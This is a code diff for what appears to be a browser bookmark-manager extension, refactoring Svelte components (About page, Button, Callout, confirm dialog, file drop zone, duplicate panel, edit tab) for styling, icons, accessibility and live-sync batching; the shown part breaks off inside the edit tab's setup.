{#if version !== ''}<span class="version">{t('about.version', { version })}</span>{/if}
|
||||
{#if version !== ''}<span class="version mono">{t('about.version', { version })}</span>{/if}
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<p class="tagline">{t('about.tagline')}</p>
|
||||
|
||||
<h2>{t('about.links')}</h2>
|
||||
<h2 class="eyebrow">{t('about.links')}</h2>
|
||||
<ul class="links">
|
||||
<li><a href={REPO_URL} target="_blank" rel="noopener noreferrer">{t('about.repo')} ↗</a></li>
|
||||
<li><a href={ISSUES_URL} target="_blank" rel="noopener noreferrer">{t('about.issues')} ↗</a></li>
|
||||
<li><a href={REPO_URL} target="_blank" rel="noopener noreferrer">{t('about.repo')}<Icon name="external" size={12} /></a></li>
|
||||
<li><a href={ISSUES_URL} target="_blank" rel="noopener noreferrer">{t('about.issues')}<Icon name="external" size={12} /></a></li>
|
||||
<li>
|
||||
<a href={CHANGELOG_URL} target="_blank" rel="noopener noreferrer">
|
||||
{t('about.changelog')} ↗
|
||||
{t('about.changelog')}<Icon name="external" size={12} />
|
||||
</a>
|
||||
</li>
|
||||
<li><a href={STORE_URL} target="_blank" rel="noopener noreferrer">{t('about.store')} ↗</a></li>
|
||||
<li><a href={STORE_URL} target="_blank" rel="noopener noreferrer">{t('about.store')}<Icon name="external" size={12} /></a></li>
|
||||
</ul>
|
||||
|
||||
<h2>{t('about.thirdParty')}</h2>
|
||||
<h2 class="eyebrow">{t('about.thirdParty')}</h2>
|
||||
<p class="muted">{t('about.thirdPartyNote')}</p>
|
||||
|
||||
<h2>{t('about.donate')}</h2>
|
||||
<h2 class="eyebrow">{t('about.donate')}</h2>
|
||||
<p class="muted">{t('about.donateNote')}</p>
|
||||
<ul class="links">
|
||||
{#each DONATE_LINKS as link (link.url)}
|
||||
<li><a href={link.url} target="_blank" rel="noopener noreferrer">{link.label} ↗</a></li>
|
||||
<li><a href={link.url} target="_blank" rel="noopener noreferrer">{link.label}<Icon name="external" size={12} /></a></li>
|
||||
{/each}
|
||||
</ul>
|
||||
|
||||
<h2>{t('about.legal')}</h2>
|
||||
<h2 class="eyebrow">{t('about.legal')}</h2>
|
||||
<ul class="links">
|
||||
{#each LEGAL_URLS as link (link.url)}
|
||||
<li>
|
||||
<a href={link.url} target="_blank" rel="noopener noreferrer">{t(link.labelKey)} ↗</a>
|
||||
<a href={link.url} target="_blank" rel="noopener noreferrer">{t(link.labelKey)}<Icon name="external" size={12} /></a>
|
||||
</li>
|
||||
{/each}
|
||||
</ul>
|
||||
@@ -71,19 +85,32 @@
|
||||
})}
|
||||
{/if}
|
||||
</p>
|
||||
|
||||
<h2 class="eyebrow">{t('about.diagnostics')}</h2>
|
||||
<p class="muted">{t('about.diagnosticsNote')}</p>
|
||||
<div>
|
||||
<Button size="sm" icon="copy" onclick={() => void copyDiagnostics()}>
|
||||
{t('about.copyDiagnostics')}
|
||||
</Button>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<style>
|
||||
section {
|
||||
max-width: 640px;
|
||||
max-width: 720px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--sp-2);
|
||||
}
|
||||
|
||||
header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--sp-3);
|
||||
padding-bottom: var(--sp-3);
|
||||
border-bottom: 1px solid var(--border);
|
||||
padding: var(--sp-4);
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius);
|
||||
background: var(--bg-raised);
|
||||
}
|
||||
|
||||
header div {
|
||||
@@ -98,17 +125,16 @@
|
||||
.version {
|
||||
font-size: var(--fs-0);
|
||||
color: var(--fg-muted);
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
|
||||
.tagline {
|
||||
margin: var(--sp-2) 0 0;
|
||||
color: var(--fg-muted);
|
||||
font-size: var(--fs-1);
|
||||
}
|
||||
|
||||
h2 {
|
||||
margin: var(--sp-5) 0 var(--sp-2);
|
||||
font-size: var(--fs-2);
|
||||
margin: var(--sp-4) 0 0;
|
||||
}
|
||||
|
||||
.muted {
|
||||
@@ -120,10 +146,26 @@
|
||||
.links {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: var(--sp-2) var(--sp-4);
|
||||
margin: var(--sp-2) 0 0;
|
||||
gap: var(--sp-2);
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
list-style: none;
|
||||
font-size: var(--fs-1);
|
||||
}
|
||||
|
||||
.links a {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: var(--sp-1);
|
||||
padding: 4px var(--sp-2);
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius-sm);
|
||||
background: var(--bg);
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.links a:hover {
|
||||
border-color: var(--accent);
|
||||
background: var(--accent-subtle);
|
||||
}
|
||||
</style>
|
||||
@@ -1,38 +1,93 @@
|
||||
<script lang="ts">
|
||||
import type { Snippet } from 'svelte';
|
||||
import type { HTMLButtonAttributes } from 'svelte/elements';
|
||||
import Icon, { type IconMotion, type IconName } from './icons/Icon.svelte';
|
||||
|
||||
interface Props {
|
||||
variant?: 'primary' | 'secondary' | 'danger';
|
||||
disabled?: boolean;
|
||||
type?: 'button' | 'submit';
|
||||
onclick?: () => void;
|
||||
children: Snippet;
|
||||
interface Props extends Omit<HTMLButtonAttributes, 'children' | 'class'> {
|
||||
variant?: 'primary' | 'secondary' | 'danger' | 'ghost';
|
||||
size?: 'sm' | 'md';
|
||||
icon?: IconName;
|
||||
iconMotion?: IconMotion;
|
||||
/**
|
||||
* Accessible name for an icon-only button. Required in practice: with no
|
||||
* children and no label, the button would be announced as just "button".
|
||||
*/
|
||||
label?: string;
|
||||
children?: Snippet;
|
||||
}
|
||||
|
||||
let { variant = 'secondary', disabled = false, type = 'button', onclick, children }: Props =
|
||||
$props();
|
||||
let {
|
||||
variant = 'secondary',
|
||||
size = 'md',
|
||||
type = 'button',
|
||||
icon,
|
||||
iconMotion = 'none',
|
||||
label,
|
||||
children,
|
||||
...rest
|
||||
}: Props = $props();
|
||||
</script>
|
||||
|
||||
<button class={variant} {type} {disabled} {onclick}>{@render children()}</button>
|
||||
<button
|
||||
class="btn {variant} {size}"
|
||||
class:icon-only={children === undefined}
|
||||
{type}
|
||||
aria-label={label}
|
||||
title={rest.title ?? label}
|
||||
{...rest}
|
||||
>
|
||||
{#if icon !== undefined}<Icon name={icon} motion={iconMotion} size={size === 'sm' ? 14 : 16} />{/if}
|
||||
{#if children !== undefined}<span>{@render children()}</span>{/if}
|
||||
</button>
|
||||
|
||||
<style>
|
||||
button {
|
||||
.btn {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: var(--sp-2);
|
||||
font: inherit;
|
||||
padding: var(--sp-2) var(--sp-4);
|
||||
font-size: var(--fs-1);
|
||||
font-weight: 500;
|
||||
line-height: 1.2;
|
||||
padding: 7px var(--sp-3);
|
||||
border-radius: var(--radius-sm);
|
||||
border: 1px solid var(--border);
|
||||
background: var(--bg-raised);
|
||||
border: 1px solid var(--border-strong);
|
||||
background: var(--bg);
|
||||
color: var(--fg);
|
||||
cursor: pointer;
|
||||
white-space: nowrap;
|
||||
transition:
|
||||
background-color var(--dur-1) linear,
|
||||
border-color var(--dur-1) linear,
|
||||
color var(--dur-1) linear;
|
||||
}
|
||||
|
||||
button:hover:not(:disabled) {
|
||||
.sm {
|
||||
padding: 4px var(--sp-2);
|
||||
font-size: var(--fs-0);
|
||||
}
|
||||
|
||||
.icon-only {
|
||||
padding: 6px;
|
||||
}
|
||||
|
||||
.sm.icon-only {
|
||||
padding: 4px;
|
||||
}
|
||||
|
||||
.btn:hover:not(:disabled) {
|
||||
border-color: var(--accent);
|
||||
color: var(--accent);
|
||||
}
|
||||
|
||||
button:disabled {
|
||||
opacity: 0.5;
|
||||
/* Disabled is said with colour and the cursor, not opacity: dimmed text drops
|
||||
under the contrast floor while it is still meant to be read. */
|
||||
.btn:disabled {
|
||||
cursor: not-allowed;
|
||||
background: var(--bg-sunken);
|
||||
border-color: var(--border);
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
.primary {
|
||||
@@ -41,11 +96,32 @@
|
||||
color: var(--accent-fg);
|
||||
}
|
||||
|
||||
.primary:hover:not(:disabled) {
|
||||
color: var(--accent-fg);
|
||||
background: color-mix(in srgb, var(--accent) 88%, var(--fg));
|
||||
}
|
||||
|
||||
.danger {
|
||||
background: var(--danger);
|
||||
border-color: var(--danger);
|
||||
/* Not #fff: dark mode lightens --danger, where white ink measures 2.74:1
|
||||
against the 4.5:1 docs/06 §5 requires. */
|
||||
/* Not #fff: dark mode lightens --danger, where white ink fails 4.5:1. */
|
||||
color: var(--danger-fg);
|
||||
}
|
||||
|
||||
.danger:hover:not(:disabled) {
|
||||
color: var(--danger-fg);
|
||||
border-color: var(--danger);
|
||||
background: color-mix(in srgb, var(--danger) 88%, var(--fg));
|
||||
}
|
||||
|
||||
.ghost {
|
||||
background: transparent;
|
||||
border-color: transparent;
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
.ghost:hover:not(:disabled) {
|
||||
background: var(--bg-raised);
|
||||
border-color: var(--border);
|
||||
}
|
||||
</style>
|
||||
@@ -1,5 +1,6 @@
|
||||
<script lang="ts">
|
||||
import type { Snippet } from 'svelte';
|
||||
import Icon, { type IconName } from './icons/Icon.svelte';
|
||||
|
||||
interface Props {
|
||||
tone?: 'info' | 'warn' | 'danger' | 'success';
|
||||
@@ -7,30 +8,66 @@
|
||||
}
|
||||
|
||||
let { tone = 'info', children }: Props = $props();
|
||||
|
||||
const ICONS: Record<NonNullable<Props['tone']>, IconName> = {
|
||||
info: 'info',
|
||||
warn: 'warning',
|
||||
danger: 'error',
|
||||
success: 'check',
|
||||
};
|
||||
</script>
|
||||
|
||||
<div class="callout {tone}" role={tone === 'danger' ? 'alert' : undefined}>
|
||||
{@render children()}
|
||||
<span class="glyph">
|
||||
<Icon name={ICONS[tone]} motion={tone === 'success' ? 'draw' : 'none'} size={16} />
|
||||
</span>
|
||||
<div class="text">{@render children()}</div>
|
||||
</div>
|
||||
|
||||
<style>
|
||||
.callout {
|
||||
display: flex;
|
||||
gap: var(--sp-3);
|
||||
align-items: flex-start;
|
||||
padding: var(--sp-3);
|
||||
border-radius: var(--radius-sm);
|
||||
border: 1px solid var(--border);
|
||||
border-left: 3px solid var(--fg-muted);
|
||||
border-radius: var(--radius-sm);
|
||||
background: var(--bg-raised);
|
||||
font-size: var(--fs-1);
|
||||
}
|
||||
|
||||
.glyph {
|
||||
display: flex;
|
||||
padding-top: 1px;
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
.text {
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.warn {
|
||||
border-left-color: var(--warn);
|
||||
}
|
||||
|
||||
.warn .glyph {
|
||||
color: var(--warn);
|
||||
}
|
||||
|
||||
.danger {
|
||||
border-left-color: var(--danger);
|
||||
}
|
||||
|
||||
.danger .glyph {
|
||||
color: var(--danger);
|
||||
}
|
||||
|
||||
.success {
|
||||
border-left-color: var(--success);
|
||||
}
|
||||
|
||||
.success .glyph {
|
||||
color: var(--success);
|
||||
}
|
||||
</style>
|
||||
@@ -1,4 +1,7 @@
|
||||
<script lang="ts">
|
||||
import Button from './Button.svelte';
|
||||
import Modal from './Modal.svelte';
|
||||
|
||||
interface Props {
|
||||
open: boolean;
|
||||
title: string;
|
||||
@@ -12,71 +15,21 @@
|
||||
|
||||
let { open, title, body, confirmLabel, cancelLabel, danger = false, onconfirm, oncancel }: Props =
|
||||
$props();
|
||||
|
||||
let dialog: HTMLDialogElement | undefined = $state();
|
||||
|
||||
// showModal() gives the focus trap and Esc handling for free — no library,
|
||||
// and it is the native behaviour docs/06 §5 asks for.
|
||||
$effect(() => {
|
||||
if (dialog === undefined) return;
|
||||
if (open && !dialog.open) dialog.showModal();
|
||||
if (!open && dialog.open) dialog.close();
|
||||
});
|
||||
</script>
|
||||
|
||||
<dialog bind:this={dialog} oncancel={oncancel} onclose={oncancel} aria-label={title}>
|
||||
<h2>{title}</h2>
|
||||
<!-- Focus starts on Cancel: Enter on a destructive dialog must not confirm. -->
|
||||
<Modal {open} {title} {danger} {oncancel} describe initialFocus="[data-cancel]">
|
||||
<p>{body}</p>
|
||||
<div class="actions">
|
||||
<button class="cancel" onclick={oncancel}>{cancelLabel}</button>
|
||||
<button class:danger onclick={onconfirm}>{confirmLabel}</button>
|
||||
</div>
|
||||
</dialog>
|
||||
{#snippet actions()}
|
||||
<Button data-cancel onclick={oncancel}>{cancelLabel}</Button>
|
||||
<Button variant={danger ? 'danger' : 'primary'} onclick={onconfirm}>{confirmLabel}</Button>
|
||||
{/snippet}
|
||||
</Modal>
|
||||
|
||||
<style>
|
||||
dialog {
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
background: var(--bg);
|
||||
color: var(--fg);
|
||||
padding: var(--sp-4);
|
||||
max-width: 44ch;
|
||||
}
|
||||
|
||||
dialog::backdrop {
|
||||
background: rgb(0 0 0 / 0.45);
|
||||
}
|
||||
|
||||
h2 {
|
||||
margin: 0 0 var(--sp-2);
|
||||
font-size: var(--fs-3);
|
||||
}
|
||||
|
||||
p {
|
||||
margin: 0 0 var(--sp-4);
|
||||
margin: 0;
|
||||
color: var(--fg-muted);
|
||||
font-size: var(--fs-1);
|
||||
}
|
||||
|
||||
.actions {
|
||||
display: flex;
|
||||
justify-content: flex-end;
|
||||
gap: var(--sp-2);
|
||||
}
|
||||
|
||||
button {
|
||||
font: inherit;
|
||||
padding: var(--sp-2) var(--sp-4);
|
||||
border-radius: var(--radius-sm);
|
||||
border: 1px solid var(--border);
|
||||
background: var(--bg-raised);
|
||||
color: var(--fg);
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.danger {
|
||||
background: var(--danger);
|
||||
border-color: var(--danger);
|
||||
color: var(--danger-fg);
|
||||
line-height: 1.55;
|
||||
}
|
||||
</style>
|
||||
@@ -1,6 +1,7 @@
|
||||
<script lang="ts">
|
||||
import { t } from '../i18n/index.svelte';
|
||||
import { MAX_FILE_BYTES } from '../core/limits';
|
||||
import { t } from '../i18n/index.svelte';
|
||||
import Icon from './icons/Icon.svelte';
|
||||
|
||||
interface Props {
|
||||
onfile: (file: File) => void;
|
||||
@@ -10,6 +11,12 @@
|
||||
|
||||
let dragging = $state(false);
|
||||
let input: HTMLInputElement | undefined = $state();
|
||||
/**
|
||||
* dragenter/dragleave fire for every child the pointer crosses, so a single
|
||||
* boolean flickered off and on over the icon and the text (uL31). A depth
|
||||
* count settles only when the pointer really leaves the zone.
|
||||
*/
|
||||
let depth = 0;
|
||||
|
||||
const megabytes = Math.round(MAX_FILE_BYTES / (1024 * 1024));
|
||||
|
||||
@@ -17,12 +24,6 @@
|
||||
const file = files?.[0];
|
||||
if (file !== undefined) onfile(file);
|
||||
}
|
||||
|
||||
function onDrop(event: DragEvent): void {
|
||||
event.preventDefault();
|
||||
dragging = false;
|
||||
take(event.dataTransfer?.files);
|
||||
}
|
||||
</script>
|
||||
|
||||
<!-- The whole zone is a button so keyboard users get the picker for free; the
|
||||
@@ -31,57 +32,100 @@
|
||||
type="button"
|
||||
class="zone"
|
||||
class:dragging
|
||||
ondragover={(e) => {
|
||||
e.preventDefault();
|
||||
ondragenter={(event) => {
|
||||
event.preventDefault();
|
||||
depth++;
|
||||
dragging = true;
|
||||
}}
|
||||
ondragover={(event) => event.preventDefault()}
|
||||
ondragleave={() => {
|
||||
depth = Math.max(0, depth - 1);
|
||||
if (depth === 0) dragging = false;
|
||||
}}
|
||||
ondrop={(event) => {
|
||||
event.preventDefault();
|
||||
depth = 0;
|
||||
dragging = false;
|
||||
take(event.dataTransfer?.files);
|
||||
}}
|
||||
ondrop={onDrop}
|
||||
onclick={() => input?.click()}
|
||||
>
|
||||
<span class="glyph" aria-hidden="true">⬆</span>
|
||||
<span class="glyph"><Icon name="upload" size={28} motion="bob" /></span>
|
||||
<span class="hint">{t('import.dropHint', { size: `${megabytes} MB` })}</span>
|
||||
<span class="formats">{t('import.dropFormats')}</span>
|
||||
</button>
|
||||
|
||||
<input
|
||||
bind:this={input}
|
||||
type="file"
|
||||
accept=".html,.htm,.json,.csv"
|
||||
onchange={(e) => take((e.currentTarget as HTMLInputElement).files)}
|
||||
hidden
|
||||
/>
|
||||
<!-- No `accept`: the content decides the format (docs/04 intro), and Chrome's
|
||||
profile file is called just `Bookmarks` — an extension filter hid it. Only
|
||||
the first file of a multi-file drop is read; the picker allows one. -->
|
||||
<input bind:this={input} type="file" onchange={(event) => take(event.currentTarget.files)} hidden />
|
||||
|
||||
<style>
|
||||
.zone {
|
||||
--ants: var(--border-strong);
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: var(--sp-3);
|
||||
width: 100%;
|
||||
padding: var(--sp-6);
|
||||
padding: var(--sp-6) var(--sp-5);
|
||||
font: inherit;
|
||||
color: var(--fg-muted);
|
||||
background: transparent;
|
||||
border: 2px dashed var(--border);
|
||||
border: none;
|
||||
border-radius: var(--radius);
|
||||
cursor: pointer;
|
||||
/* Marching ants: four dashed gradients instead of a dashed border, so the
|
||||
dashes can travel. */
|
||||
background:
|
||||
linear-gradient(90deg, var(--ants) 50%, transparent 50%) top left / 14px 1.5px repeat-x,
|
||||
linear-gradient(90deg, var(--ants) 50%, transparent 50%) bottom left / 14px 1.5px repeat-x,
|
||||
linear-gradient(0deg, var(--ants) 50%, transparent 50%) top left / 1.5px 14px repeat-y,
|
||||
linear-gradient(0deg, var(--ants) 50%, transparent 50%) top right / 1.5px 14px repeat-y,
|
||||
var(--bg);
|
||||
}
|
||||
|
||||
.zone:hover,
|
||||
.dragging {
|
||||
border-color: var(--accent);
|
||||
--ants: var(--accent);
|
||||
color: var(--fg);
|
||||
background-color: var(--accent-subtle);
|
||||
}
|
||||
|
||||
.glyph {
|
||||
font-size: var(--fs-4);
|
||||
display: inline-flex;
|
||||
padding: var(--sp-3);
|
||||
border-radius: 50%;
|
||||
background: var(--accent-subtle);
|
||||
color: var(--accent);
|
||||
}
|
||||
|
||||
.hint {
|
||||
font-weight: 600;
|
||||
text-align: center;
|
||||
max-width: 40ch;
|
||||
max-width: 44ch;
|
||||
}
|
||||
|
||||
.formats {
|
||||
text-align: center;
|
||||
max-width: 60ch;
|
||||
font-size: var(--fs-1);
|
||||
}
|
||||
|
||||
@media (prefers-reduced-motion: no-preference) {
|
||||
.zone:hover,
|
||||
.dragging {
|
||||
animation: march 1s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes march {
|
||||
to {
|
||||
background-position:
|
||||
14px 0,
|
||||
-14px 100%,
|
||||
0 -14px,
|
||||
100% 14px,
|
||||
0 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
</style>
|
||||
@@ -1,44 +1,95 @@
|
||||
<script lang="ts">
|
||||
import type { DuplicateGroup } from '../core/dedupe';
|
||||
import { displayTitle, folderPaths } from '../edit/edit-node';
|
||||
import type { EditNode } from '../edit/patch-tree';
|
||||
import { num, t } from '../i18n/index.svelte';
|
||||
import { t, tPlural } from '../i18n/index.svelte';
|
||||
import Button from './Button.svelte';
|
||||
import Icon from './icons/Icon.svelte';
|
||||
|
||||
interface Props {
|
||||
/** The panel's root, for the tab to move focus into after a delete. */
|
||||
element?: HTMLElement | undefined;
|
||||
groups: readonly DuplicateGroup<EditNode>[];
|
||||
roots: readonly EditNode[];
|
||||
busy: boolean;
|
||||
onclose: () => void;
|
||||
ondelete: (node: EditNode) => void;
|
||||
onkeepFirst: () => void;
|
||||
}
|
||||
|
||||
let { groups, onclose, ondelete, onkeepFirst }: Props = $props();
|
||||
let {
|
||||
element = $bindable(),
|
||||
groups,
|
||||
roots,
|
||||
busy,
|
||||
onclose,
|
||||
ondelete,
|
||||
onkeepFirst,
|
||||
}: Props = $props();
|
||||
|
||||
const extra = $derived(groups.reduce((n, group) => n + group.nodes.length - 1, 0));
|
||||
// Two copies of one link differ only by where they live, so say where (uM22).
|
||||
const paths = $derived(folderPaths(roots));
|
||||
</script>
|
||||
|
||||
<aside aria-label={t('edit.duplicates')}>
|
||||
<aside bind:this={element} aria-label={t('edit.duplicates')}>
|
||||
<header>
|
||||
<strong>{t('edit.duplicatesFound', { groups: num(groups.length), extra: num(extra) })}</strong>
|
||||
<button class="close" aria-label={t('common.cancel')} onclick={onclose}>✕</button>
|
||||
<span class="eyebrow">{t('edit.duplicates')}</span>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
icon="close"
|
||||
label={t('common.dismiss')}
|
||||
data-panel-close
|
||||
onclick={onclose}
|
||||
/>
|
||||
</header>
|
||||
|
||||
<!-- One sentence with two counts: a wrapper key, never two fragments
|
||||
glued with a separator in markup (docs/07 §2). -->
|
||||
<p class="summary" aria-live="polite">
|
||||
{t('edit.duplicateSummary', {
|
||||
links: tPlural('edit.duplicateLinks', groups.length),
|
||||
copies: tPlural('edit.extraCopies', extra),
|
||||
})}
|
||||
</p>
|
||||
|
||||
{#if groups.length === 0}
|
||||
<p class="muted">{t('edit.noDuplicates')}</p>
|
||||
{:else}
|
||||
<Button variant="danger" onclick={onkeepFirst}>{t('edit.keepFirst', { n: num(extra) })}</Button>
|
||||
<Button variant="danger" icon="trash" iconMotion="tilt" disabled={busy} onclick={onkeepFirst}>
|
||||
{tPlural('edit.keepFirst', extra)}
|
||||
</Button>
|
||||
|
||||
<ul>
|
||||
{#each groups as group (group.key)}
|
||||
<li>
|
||||
<p class="key">{group.key}</p>
|
||||
<p class="key mono">{group.key}</p>
|
||||
<ul class="items">
|
||||
{#each group.nodes as node, i (node.id)}
|
||||
<li>
|
||||
<span class="title">{node.title}</span>
|
||||
<span class="where">
|
||||
<span class="title">{displayTitle(node, t('edit.untitled'))}</span>
|
||||
<span class="path mono">
|
||||
<Icon name="folder" size={12} />{paths.get(node.id) ?? ''}
|
||||
</span>
|
||||
</span>
|
||||
{#if i === 0}
|
||||
<span class="keep">{t('edit.keeps')}</span>
|
||||
{:else}
|
||||
<button onclick={() => ondelete(node)}>{t('edit.delete')}</button>
|
||||
<Button
|
||||
size="sm"
|
||||
variant="ghost"
|
||||
icon="trash"
|
||||
iconMotion="tilt"
|
||||
label={t('edit.deleteCopy', {
|
||||
title: displayTitle(node, t('edit.untitled')),
|
||||
path: paths.get(node.id) ?? '',
|
||||
})}
|
||||
disabled={busy}
|
||||
data-copy-delete
|
||||
onclick={() => ondelete(node)}
|
||||
/>
|
||||
{/if}
|
||||
</li>
|
||||
{/each}
|
||||
@@ -51,14 +102,14 @@
|
||||
|
||||
<style>
|
||||
aside {
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius-sm);
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius);
|
||||
padding: var(--sp-3);
|
||||
background: var(--bg-raised);
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--sp-3);
|
||||
max-height: 520px;
|
||||
max-height: min(62vh, 620px);
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
@@ -69,12 +120,10 @@
|
||||
gap: var(--sp-2);
|
||||
}
|
||||
|
||||
.close {
|
||||
font: inherit;
|
||||
background: none;
|
||||
border: none;
|
||||
color: var(--fg-muted);
|
||||
cursor: pointer;
|
||||
.summary {
|
||||
margin: 0;
|
||||
font-weight: 600;
|
||||
font-size: var(--fs-1);
|
||||
}
|
||||
|
||||
ul {
|
||||
@@ -98,6 +147,8 @@
|
||||
.items {
|
||||
gap: var(--sp-1);
|
||||
font-size: var(--fs-1);
|
||||
padding-left: var(--sp-2);
|
||||
border-left: 1px solid var(--border);
|
||||
}
|
||||
|
||||
.items li {
|
||||
@@ -106,26 +157,34 @@
|
||||
gap: var(--sp-2);
|
||||
}
|
||||
|
||||
.items .title {
|
||||
.where {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.title,
|
||||
.path {
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.items button {
|
||||
margin-left: auto;
|
||||
font: inherit;
|
||||
.path {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--sp-1);
|
||||
font-size: var(--fs-0);
|
||||
background: none;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius-sm);
|
||||
color: var(--danger);
|
||||
cursor: pointer;
|
||||
padding: 0 var(--sp-2);
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
.items :global(button) {
|
||||
margin-left: auto;
|
||||
}
|
||||
|
||||
.keep {
|
||||
margin-left: auto;
|
||||
font-family: var(--font-mono);
|
||||
font-size: var(--fs-0);
|
||||
color: var(--success);
|
||||
}
|
||||
|
||||
@@ -1,456 +1,245 @@
|
||||
<script lang="ts">
|
||||
import { onMount, untrack } from 'svelte';
|
||||
import {
|
||||
create,
|
||||
getRootChildren,
|
||||
move,
|
||||
remove,
|
||||
removeTree,
|
||||
subscribe,
|
||||
update,
|
||||
} from '../browser/bookmarks';
|
||||
/**
|
||||
* The #edit tab — docs/03 §3, docs/06 §3.3. Markup and wiring only: state
|
||||
* and commands live in `stores/edit-session.svelte.ts`, live events in
|
||||
* `edit/live-sync.ts`.
|
||||
*/
|
||||
import { onMount, tick, untrack } from 'svelte';
|
||||
import { subscribe } from '../browser/bookmarks';
|
||||
import { copyToClipboard } from '../browser/clipboard';
|
||||
import { type DescribedError, describeError } from '../browser/describe-error';
|
||||
import { openBookmarkUrl } from '../browser/open-url';
|
||||
import { findDuplicateGroups } from '../core/dedupe';
|
||||
import { searchTree } from '../core/search';
|
||||
import {
|
||||
countDescendants,
|
||||
extraCopyIds,
|
||||
flattenTree,
|
||||
isEditable as canEdit,
|
||||
resolveNewFolderParent,
|
||||
toEditNode,
|
||||
} from '../edit/edit-node';
|
||||
import {
|
||||
changeNode,
|
||||
type EditNode,
|
||||
findNode,
|
||||
insertNode,
|
||||
moveNode,
|
||||
removeNode,
|
||||
} from '../edit/patch-tree';
|
||||
import { deleteEach } from '../edit/bulk-delete';
|
||||
import { canMoveInto, moveTargets } from '../edit/move-target';
|
||||
import {
|
||||
collapseSearchExpansion,
|
||||
forgetSearchExpansion,
|
||||
mergeSearchExpansion,
|
||||
} from '../edit/search-expansion';
|
||||
import { resolveKey, visibleRows } from '../edit/tree-keyboard';
|
||||
import { num, t } from '../i18n/index.svelte';
|
||||
import { countDescendants, displayTitle, toEditNode } from '../edit/edit-node';
|
||||
import { createBatcher } from '../edit/live-sync';
|
||||
import { moveTargets } from '../edit/move-target';
|
||||
import { type EditNode, findNode } from '../edit/patch-tree';
|
||||
import { onTreeKey } from '../edit/tree-keys';
|
||||
import { getLocale, num, t, tPlural } from '../i18n/index.svelte';
|
||||
import { EditSession } from '../stores/edit-session.svelte';
|
||||
import { pushToast } from '../stores/toast.svelte';
|
||||
import ErrorCallout from './ErrorCallout.svelte';
|
||||
import ConfirmDialog from './ConfirmDialog.svelte';
|
||||
import DuplicatePanel from './DuplicatePanel.svelte';
|
||||
import EditToolbar from './EditToolbar.svelte';
|
||||
import ErrorCallout from './ErrorCallout.svelte';
|
||||
import { focusIfLost } from './focus-heading';
|
||||
import MoveToDialog from './MoveToDialog.svelte';
|
||||
import TreeList from './TreeList.svelte';
|
||||
|
||||
let roots = $state<EditNode[]>([]);
|
||||
let expanded = $state<ReadonlySet<string>>(new Set());
|
||||
let focusedId = $state<string | undefined>();
|
||||
let renamingId = $state<string | undefined>();
|
||||
let query = $state('');
|
||||
let debounced = $state('');
|
||||
let showDuplicates = $state(false);
|
||||
let loadError = $state<DescribedError | undefined>();
|
||||
let pendingDelete = $state<EditNode | undefined>();
|
||||
let pendingKeepFirst = $state(false);
|
||||
let draggingId = $state<string | undefined>();
|
||||
let movingNode = $state<EditNode | undefined>();
|
||||
/** Per-operation failure, shown ABOVE the tree rather than replacing it. */
|
||||
let actionError = $state<
|
||||
(DescribedError & { partial?: { done: number; total: number } }) | undefined
|
||||
>();
|
||||
/** Folders the search opened, so clearing the search can close them again. */
|
||||
let searchOpened = $state<ReadonlySet<string>>(new Set());
|
||||
const session = new EditSession(undefined, getLocale);
|
||||
let searchInput = $state<HTMLInputElement | undefined>();
|
||||
let treeEl = $state<HTMLElement | undefined>();
|
||||
|
||||
let debounceTimer: ReturnType<typeof setTimeout> | undefined;
|
||||
let panelEl = $state<HTMLElement | undefined>();
|
||||
|
||||
onMount(() => {
|
||||
void load();
|
||||
// Listeners attach on enter and detach on leave (docs/03 §3) — a tab left
|
||||
// subscribed during an import would take one event per created node.
|
||||
void session.load();
|
||||
// One patch per frame, and a single re-read for bursts — an import in
|
||||
// another tab sends an event per node (docs/03 §3 "Live sync").
|
||||
const batcher = createBatcher({
|
||||
onFlush: session.applyLiveEvents,
|
||||
onBurst: () => void session.load(),
|
||||
});
|
||||
let importing = false;
|
||||
// Listeners attach on enter and detach on leave: a tab left subscribed
|
||||
// during an import would take one event per created node.
|
||||
const unsubscribe = subscribe({
|
||||
onCreated: (_id, node) => {
|
||||
if (node.parentId !== undefined) {
|
||||
roots = insertNode(roots, node.parentId, node.index, toEditNode(node));
|
||||
}
|
||||
if (importing || node.parentId === undefined) return;
|
||||
batcher.push({ kind: 'created', parentId: node.parentId, index: node.index, node: toEditNode(node) });
|
||||
},
|
||||
onRemoved: (id) => {
|
||||
roots = removeNode(roots, id);
|
||||
onRemoved: (id) => batcher.push({ kind: 'removed', id }),
|
||||
onChanged: (id, changes) => batcher.push({ kind: 'changed', id, changes }),
|
||||
